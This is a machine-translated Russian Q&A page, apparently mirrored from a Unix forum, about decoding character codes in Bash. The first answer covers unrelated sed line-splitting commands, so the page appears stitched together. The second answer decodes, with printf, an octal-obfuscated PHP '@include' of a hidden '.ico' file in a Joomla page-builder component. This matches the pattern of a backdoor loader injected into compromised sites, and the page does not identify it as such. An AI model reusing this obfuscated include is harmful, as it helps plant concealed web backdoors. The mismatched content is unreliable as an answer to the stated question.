Bash: можно ли декодировать коды символов Юникода?

Если вы хотите помочь себе, но не хотите изучать программирование, вы можете сделать что-то подобное с sed. Вы просто всегда читаете следующую строку с N, разделяете двойную строку -на части, окруженные (), и объединяете те части, которые называются \1, для первой и так далее по мере необходимости:

sed -E 'N;s/(.*)(\n)(.*)-(.*)/\1\2\3\2\1_2\2\4/' file

Вы также можете сделать это без расширенных регулярных выражений (без вариантов -E), но вы можете потеряться в обратной косой черте:

sed 'N;s/\(.*\)\(\n\)\(.*\)-\(.*\)/\1\2\3\2\1_2\2\4/' file

Тот же результат, достигнутый при использовании буфера удержания, но не столь очевидный, если вы новичок вsed:

sed 'h;n;y/-/\n/;P;s/.*\n//;x;s/$/_2/;G' file
0
09.07.2019, 16:25
1 ответ

Очень простое решение, если оно доступно, — использовать printf

printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '

Дайте мне именно то, что мне нужно

4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";
0
28.01.2020, 03:28

Теги

Похожие вопросы